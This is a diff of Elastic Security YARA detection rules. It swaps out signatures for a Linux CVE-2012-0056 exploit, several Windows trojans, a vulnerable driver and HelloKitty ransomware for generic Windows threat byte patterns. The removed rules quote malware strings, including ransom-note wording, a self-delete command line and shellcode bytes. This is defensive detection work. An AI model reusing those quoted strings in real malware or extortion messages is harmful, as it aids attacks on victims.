-		$a = { 00 00 00 53 89 F3 CD 80 5B 58 5F 5E 5A 59 5B C3 }
+		$a1 = { 55 8B EC 60 E8 00 00 00 00 5B ?? ?? ?? ?? ?? ?? 8B 75 08 8B 7D 0C AD 50 53 89 C1 29 DB 29 C0 AC C1 E3 04 01 C3 AA 89 D8 ?? ?? ?? ?? ?? 85 C0 74 07 89 C2 C1 EA 18 31 D3 F7 D0 21 C3 E2 DF 87 DA }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2012_0056_06B2Dff5 : FILE MEMORY CVE_2012_0056
+rule ELASTIC_Windows_Generic_Threat_E8Abb835 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2012 0056 (Linux.Exploit.CVE-2012-0056)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "06b2dff5-250a-46e0-b763-8e6b04498fe2"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "e8abb835-f0c1-4e27-a0ca-3a3cae3362df"
+		date = "2024-03-26"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2012_0056.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "168b3fb1c675ab76224c641e228434495160502a738b64172c679e8ce791ac17"
-		logic_hash = "4361e6e74d6678d9e0823b23a7a2e4ae84119142cad319950154f806115845d5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3324-L3342"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e42262671325bec300afa722cefb584e477c3f2782c8d4c6402d6863df348cac"
+		logic_hash = "0ad56b8c741a79a600a0d5588c4e8760a6d19fef72ff7814a00cfb84a90f23aa"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2012-0056"
-		fingerprint = "82b200deae93c8fa376d670f5091d9a63730a6f5b5e8a0567fe9c283075d57c0"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "ca8c2f4b16ebe1bb48c91a536d8aca98bed5592675eff9311e77d7e06dfe3c5b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 66 64 20 69 6E 20 70 61 72 65 6E 74 2E 00 5B 2B 5D 20 52 65 63 }
+		$a1 = { 48 81 EC 28 05 00 00 66 44 0F 7F 84 24 10 05 00 00 66 0F 7F BC 24 00 05 00 00 0F 29 B4 24 F0 04 00 00 44 89 44 24 74 48 89 94 24 C8 00 00 00 48 89 CB 48 C7 44 24 78 00 00 00 00 0F 57 F6 0F 29 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2012_0056_B39839F4 : FILE MEMORY CVE_2012_0056
+rule ELASTIC_Windows_Generic_Threat_492D7223 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2012 0056 (Linux.Exploit.CVE-2012-0056)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "b39839f4-e6f4-44bd-a636-ce355f3c5c6a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "492d7223-4e03-4a77-83e5-ed85e052f846"
+		date = "2024-03-26"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2012_0056.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cf569647759e011ff31d8626cea65ed506e8d0ef1d26f3bbb7c02a4060ce58dc"
-		logic_hash = "553111c64d8abfc3688a88dd95088de0ea7e92f68592e9a778f8041b40071e84"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3344-L3362"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0d9c9297836aceb4400bcb0877d1df90ca387f18f735de195852a909c67b7ef"
+		logic_hash = "9fb2a00def86ed8476d906514a0bc630e28093ac37d757541d8801d2c8e0efc3"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2012-0056"
-		fingerprint = "f269c4aecbb55e24d9081d7a1e4bd6cfa9799409b3a3d7a6f9bf127f7468dedc"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "71a1bce450522a0a6ff38d2f84ab91e2e9db360736c2f7233124a0b0dc4d0431"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 08 02 7E 3E 8B 45 0C 83 C0 04 8B 00 0F B6 00 3C 2D 75 2F 8B }
+		$a1 = { 55 89 E5 53 57 56 83 EC 24 ?? ?? ?? ?? ?? 31 C9 85 C0 0F 94 C1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 C8 40 FF E0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2012_0056_A1E53450 : FILE MEMORY CVE_2012_0056
+rule ELASTIC_Windows_Generic_Threat_Ea296356 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2012 0056 (Linux.Exploit.CVE-2012-0056)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a1e53450-036e-4ae3-bfe4-64a6c7239a04"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "ea296356-6533-4364-8ad1-3bbb538e3d61"
+		date = "2024-05-22"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2012_0056.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "15a4d149e935758199f6df946ff889e12097f5fec4ef450e9cbd554d1efbd5e6"
-		logic_hash = "f2ab5de83c36a9a834e41c8f6fdccd0dffdeb384adf7b1e1098e86a2ac52df18"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3364-L3382"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4c48a0fe90f3da7bfdd32961da7771a0124b77e1ac1910168020babe8143e959"
+		logic_hash = "73ffd16f0047cd57311853aa9083fc21427f2eb21646c6edc7b8def86da90f90"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2012-0056"
-		fingerprint = "d0a0635fb356ccedb1448082cc63748d49d45f8a25e43eab7ac1d67e87062b8f"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "a17ca2f95473517428867b4f68b8275ae84ef1ee39421e76887077e206b1ed51"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 80 31 C9 B3 ?? B1 02 B0 3F CD 80 31 C0 50 68 6E }
+		$a1 = { 55 8B EC 83 EC 0C 53 56 8B 75 08 8B C6 89 55 FC 99 2B C2 89 4D F8 8B D8 8B 45 FC 57 D1 FB 33 FF 8D 14 30 89 55 08 85 DB 7E 36 4A 0F 1F 44 00 00 8A 0C 38 8D 52 FF 0F B6 42 01 8B 75 FC 0F B6 80 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Blackwood_2B94Bce9 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Aeaeb5Cf : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Blackwood (Windows.Trojan.Blackwood)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "2b94bce9-a9cc-4b22-a9c7-2790553942b0"
-		date = "2024-03-22"
-		modified = "2024-05-08"
+		id = "aeaeb5cf-2683-4a88-b736-4b8873d92fc5"
+		date = "2024-05-22"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Blackwood.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c37dd77f659059da7e12e13b063036ee69097a4d2f88c170832fff78f3788991"
-		logic_hash = "279e85ce3bb974ce5af541e7307cb2fd1031f36c9da013756883172a765b0e19"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3384-L3402"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f57d955d485904f0c729acff9db1de9cb42f32af993393d58538f07fa273b431"
+		logic_hash = "640966296bad70234e0fe7b6f87b92fcf4fc111189d307d44f32e926785f76cb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1162bd3cc0f30cd927f5f2d7d5703204ce8df0d627944222e2dc4ae42d1ea99a"
-		severity = 100
+		fingerprint = "f6d32006747b083632f551c8ca182b6b4d67a8f130a118e61b0dd2f35d7d8477"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
-	strings:
-		$a1 = { 5F 8C FB 62 69 00 65 00 78 00 70 00 6C 00 6F 00 72 00 65 00 2E 00 65 00 78 00 65 00 }
-		$a2 = { C6 44 24 0C 6D C6 44 24 0D 73 C6 44 24 0E 68 C6 44 24 10 70 C6 44 24 11 2E C6 44 24 12 64 }
-		$a3 = { 6D 79 6E 73 70 2E 64 6C 6C 00 4E 53 50 43 6C 65 61 6E 75 70 00 4E 53 50 53 74 61 72 74 75 70 }
-		$b1 = "index.dat"
-		$b2 = "Mozilla/4.0 (compatible;MSIE 5.0; Windows 98)"
-		$b3 = "http://www.baidu.com/id=%s&ad=%d&os=%d.%d&t=%d"
-		$b4 = "SetEntriesInAcl Error %u"
-		$b5 = "AllocateAndInitializeSid Error %u"
-
+	strings:
+		$a1 = { 55 8B EC 8B 4D 08 33 C0 66 39 01 74 0B 8D 49 00 40 66 83 3C 41 00 75 F8 8D 04 45 02 00 00 00 50 FF 75 0C 51 ?? ?? ?? ?? ?? 83 C4 0C 5D C3 CC CC 55 8B EC 6A 00 FF 75 08 }
+
 	condition:
-		1 of ($a*) or all of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Plugx_5F3844Ff : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_C8424507 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Plugx (Windows.Trojan.PlugX)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5f3844ff-2da6-48b4-9afb-343149af03ac"
-		date = "2023-08-28"
-		modified = "2023-09-20"
+		id = "c8424507-34e1-4649-a4e4-3e0a0f62dfb0"
+		date = "2024-05-22"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PlugX.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a823380e46878dfa8deb3ca0dc394db1db23bb2544e2d6e49c0eceeffb595875"
-		logic_hash = "a1a484f4cf00ec0775a3f322bae66ce5f9cc52f08306b38f079445233c49bf52"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3404-L3423"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d556b02733385b823cfe4db7e562e90aa520e2e6fb00fceb76cc0a6a1ff47692"
+		logic_hash = "78d56257cb6e1d67f9343ee30b844fe20138e27ca3b6312a07112e5dbb797851"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "5365e6978ffca67e232165bca7bcdc5064abd5c589e49e19aa640f59dd5285ab"
-		severity = 100
+		fingerprint = "8dfb14903b32c118492ae7e0aab9cf634c58ea93fcbc7759615209f61b3b3d6b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "EAddr:0x%p"
-		$a2 = "Host: [%s:%d]" ascii fullword
-		$a3 = "CONNECT %s:%d HTTP/1.1" ascii fullword
-		$a4 = "%4.4d-%2.2d-%2.2d %2.2d:%2.2d:%2.2d:" wide fullword
-		$a5 = "\\bug.log" wide fullword
+		$a1 = { 78 75 73 65 68 6F 62 69 6D 6F 7A 61 63 6F 67 6F 6A 69 68 6F 67 69 76 6F }
+		$a2 = { 62 65 6D 69 74 69 76 65 67 69 77 6F 6D 65 7A 75 76 65 62 61 67 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Plugx_F338Dab5 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_9Af87Ddb : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Plugx (Windows.Trojan.PlugX)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f338dab5-8c8f-46d7-8f93-48077fc76da1"
-		date = "2024-06-05"
+		id = "9af87ddb-c3ed-44a5-b1a1-984b6f8a6065"
+		date = "2024-05-23"
 		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PlugX.yar#L25-L45"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8af3fc1f8bd13519d78ee83af43daaa8c5e2c3f184c09f5c41941e0c6f68f0f7"
-		logic_hash = "0482305a73bc500aa7c266536cb8286ea796f6b1eaba39547bed22313bbb4457"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3425-L3443"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b1fbc11744e21dc08599412887a3a966572614ce25ccd3c8c98f04bcbdda3898"
+		logic_hash = "99174c5740324d7704a5c6ae924254f9b5f241c97901dfdb771fc176a76e4a30"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7c9f3d739eb17c545ded116387400340117acc23f3ef9fec9eacf993f1d2eb80"
-		severity = 100
+		fingerprint = "1505b6299961c729077ffd90a4c7ed3180f55329952841fe7045056ea2919de8"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 45 08 FF B0 60 03 00 00 E8 A8 0C 00 00 83 C4 24 8D 45 08 89 }
-		$a2 = { 2C 5E 5F 5B 5D C3 CC 55 53 57 56 83 EC 10 8B 6C 24 30 8B 44 }
-		$a3 = { 89 4D D4 83 60 04 00 3B F3 75 40 E8 53 DA FF FF 8B 40 08 89 }
+		$a1 = { 28 00 00 0A 28 2C 00 00 06 11 06 17 D6 13 06 11 06 11 07 8E B7 32 98 06 17 D6 0A 20 E8 03 00 00 28 21 00 00 0A 7E 0F 00 00 04 3A 74 FF FF FF 2A 00 1B 30 04 00 96 00 00 00 1F 00 00 11 03 39 88 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Doubleback_D2246A35 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_D7B57912 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Doubleback (Windows.Trojan.DoubleBack)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "d2246a35-e582-4707-acd0-f04bb66df722"
-		date = "2022-05-29"
-		modified = "2022-07-18"
+		id = "d7b57912-02b4-421a-8f93-9e8371314e68"
+		date = "2024-05-23"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DoubleBack.yar#L1-L31"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "03d2a0747d06458ccddf65ff5847a511a105e0ad4dcb5134082623af6f705012"
-		logic_hash = "2241d2c6e5b5896fe6f3b02cb1786c39fa620ee503c4585bd75c8763b6d3c06a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3445-L3463"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0906599be152dd598c7f540498c44cc38efe9ea976731da05137ee6520288fe4"
+		logic_hash = "a774e3030d81e29805a9784cfbbc0b69c4fedebe0daa25e403777e1f46f9094f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "949f8d30125fad133f4b897c945c6aa0eccda5456dc887bde4c0a5affece5195"
-		severity = 100
+		fingerprint = "36a3fecc918cd891d9c779f7ff54019908ba190853739c8059adb84233643a1c"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$s1 = "client.dll" ascii fullword
-		$s2 = "=i.ext;" ascii fullword
-		$s3 = "## dbg delay" ascii fullword
-		$s4 = "ehost"
-		$s5 = "msie"
-		$s6 = "POST"
-		$s7 = "%s(%04Xh:%u/%u)[%s %s]: %s" ascii fullword
-		$x64_powershell_msi_check = { 81 3C 39 70 6F 77 65 74 ?? 81 3C 39 6D 73 69 65 41 }
-		$x86_powershell_msi_check = { 81 3C 30 70 6F 77 65 74 ?? 81 3C 30 6D 73 69 65 6A 03 5A 0F }
-		$x64_salted_hash_func = { 8B 7D ?? 4C 8D 45 ?? 81 C7 ?? ?? ?? ?? 48 8D 4D ?? BA 04 00 00 00 89 7D ?? }
-		$x86_salted_hash_func = { 8B 75 ?? 8D 45 ?? 50 6A ?? 81 C6 ?? ?? ?? ?? 8D 4D ?? 5A 89 75 ?? }
-		$x64_guid = { 48 83 EC ?? 45 33 C9 41 B8 DD CC BB AA 45 8D 51 ?? }
-		$x86_guid = { 55 8B EC 83 EC ?? B8 DD CC BB AA 56 57 6A ?? 8D 75 ?? 5F }
+		$a1 = { 55 8B EC 83 C4 B8 53 56 8B DA 89 45 FC 8D 45 FC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 FF 30 64 89 20 8B C3 ?? ?? ?? ?? ?? 6A 00 6A 00 8D 45 F0 50 8B 45 FC }
 
 	condition:
-		5 of ($s*) or 2 of ($x64_*) or 2 of ($x86_*)
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Zam_928812A7 : FILE
+rule ELASTIC_Windows_Generic_Threat_23D33B48 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Zam (Windows.VulnDriver.Zam)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "928812a7-ac7c-47cf-9111-11470b661d46"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "23d33b48-00f6-487f-a3e5-f41603fc982e"
+		date = "2024-06-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Zam.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91"
-		logic_hash = "82ca874d60d8a0ee04aca39f59415f22797e7e0337314c88dd8ebad1a823d200"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3465-L3483"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "acbc22df07888498ae6f52f5458e3fb8e0682e443a8c2bc97177a0320b4e2098"
+		logic_hash = "c9fb93bb74e4d45197d0da5b641860738a42a583b15cc098e86ea79bb8690bf7"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "8e5db0d4fee806538929680e7d3521b111b0e09fcc3eba3c191f6787375999cc"
+		tags = "FILE, MEMORY"
+		fingerprint = "7a25301a1297337810240e8880febe525726c9b79a4a4bd81b1f856865097995"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$pdb_64 = "AntiMalware\\bin\\zam64.pdb"
-		$pdb_32 = "AntiMalware\\bin\\zam32.pdb"
+		$a1 = { 55 8B EC 51 83 7A 14 10 8B C2 53 56 57 8B F1 72 02 8B 02 83 7E 14 10 72 02 8B 0E 8B 5A 10 8D 56 10 8B 3A 53 50 89 55 FC 8B D7 51 ?? ?? ?? ?? ?? 8B D0 83 C4 0C 83 FA FF 74 30 3B FA 72 33 8B C7 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and any of ($pdb_*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Hellokitty_8859E8E8 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_4B0B73Ce : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Hellokitty (Windows.Ransomware.Hellokitty)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "8859e8e8-f94c-4853-b296-1fc801486c57"
-		date = "2021-05-03"
-		modified = "2021-08-23"
+		id = "4b0b73ce-960d-40ce-ae85-5cf38d949f45"
+		date = "2024-06-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Hellokitty.yar#L1-L32"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ae7bedf236d4e53a33f3a3e1e80eae2d93e91b1988da2f7fcb8fde5dcc3a0e9"
-		logic_hash = "72cc718724d9d9a391a9f7a0932ebf397c2ab79558437533bef6e380b06baff9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3485-L3503"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "236fc00cd7c75f70904239935ab90f51b03ff347798f56cec1bdd73a286b24c1"
+		logic_hash = "d53923df612dd7fe0b1b2c94c1c5d747b08723df129089326ec27c5049769cef"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f9791409d2a058dd68dc09df5e4b597c6c6a1f0da9801d7ab9e678577b621730"
-		severity = 100
+		fingerprint = "11c544f9f3a51ffcd361d6558754a64a8a38f3ce9385038880ab58c99769db88"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "HelloKittyMutex" wide fullword
-		$a2 = "%s\\read_me_lkd.txt" wide fullword
-		$a3 = "Win32_ShadowCopy.ID='%s'" wide fullword
-		$a4 = "Trying to decrypt or modify the files with programs other than our decryptor can lead to permanent loss of data!" wide fullword
-		$a5 = "%s/secret/%S" wide fullword
-		$a6 = "DECRYPT_NOTE.txt" wide fullword
-		$a7 = "Some data has been stored in our servers and ready for publish." wide fullword
-		$a9 = "To contact with us you have ONE week from the encryption time, after decryption keys and your personal contact link will be dele" wide
-		$a10 = "In case of your disregard, we reserve the right to dispose of the dumped data at our discretion including publishing." wide fullword
-		$a11 = "IMPORTANT: Don't modify encrypted files or you can damage them and decryption will be impossible!" wide fullword
-		$b1 = "/f /im \"%s\"" wide fullword
-		$b2 = "stop \"%s\"" wide fullword
-		$b3 = "/f /im %s" wide fullword
-		$b4 = "stop %s" wide fullword
+		$a1 = { 55 8B EC 51 53 56 57 8B 7D 08 83 7F 18 00 C6 45 FF C9 74 54 ?? ?? ?? ?? ?? ?? 8D 9B 00 00 00 00 33 F6 83 7F 18 00 74 40 6A 0A FF D3 46 81 FE E8 03 00 00 7C ED 8B 07 8B 50 08 6A 01 8D 4D FF 51 }
 
 	condition:
-		(2 of ($a*) and 2 of ($b*)) or (5 of ($a*))
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Hellokitty_4B668121 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_1F2E969C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Hellokitty (Windows.Ransomware.Hellokitty)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "4b668121-cc21-4f0b-b0fc-c2b5b4cb53e8"
-		date = "2021-05-03"
-		modified = "2021-08-23"
+		id = "1f2e969c-5d90-4bab-a06a-9cccb1946251"
+		date = "2024-06-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Hellokitty.yar#L34-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
-		logic_hash = "00c7a492c304f12b9909e35cf069618a1103311a69e3e8951ca196c3c663b12a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3505-L3523"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7def75df729ed66511fbe91eadf15bc69a03618e78c48e27c35497db2a6a97ae"
+		logic_hash = "7d984a902f9bf40c9b49da89aba9249f80b41b24ca1cdb6189f541b40ef41742"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "834316ce0f3225b1654b3c4bccb673c9ad815e422276f61e929d5440ca51a9fa"
-		severity = 100
+		fingerprint = "e7c872f2422fe54367900d69c9bb94d86db2bf001cbbe00ba6c801fb3d1e610e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "(%d) [%d] %s: STOP DOUBLE PROCESS RUN" ascii fullword
-		$a2 = "(%d) [%d] %s: Looking for folder from cmd: %S" ascii fullword
-		$a3 = "(%d) [%d] %s: ERROR: Failed to encrypt AES block" ascii fullword
-		$a4 = "gHelloKittyMutex" wide fullword
-		$a5 = "/C ping 127.0.0.1 & del %s" wide fullword
-		$a6 = "Trying to decrypt or modify the files with programs other than our decryptor can lead to permanent loss of data!"
-		$a7 = "read_me_lkdtt.txt" wide fullword
-		$a8 = "If you want to get it, you must pay us some money and we will help you." wide fullword
+		$a1 = { 55 8B EC 51 53 8B 5A 10 56 8B F1 57 6A 78 89 75 FC C7 46 10 00 00 00 00 C7 46 14 0F 00 00 00 53 89 75 FC C6 06 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 33 C0 89 7D FC 85 DB 7E 39 0F 1F 40 00 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Hellokitty_D9391A1A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Behinder_B9A49F4B : FILE MEMORY
 {
 	meta:
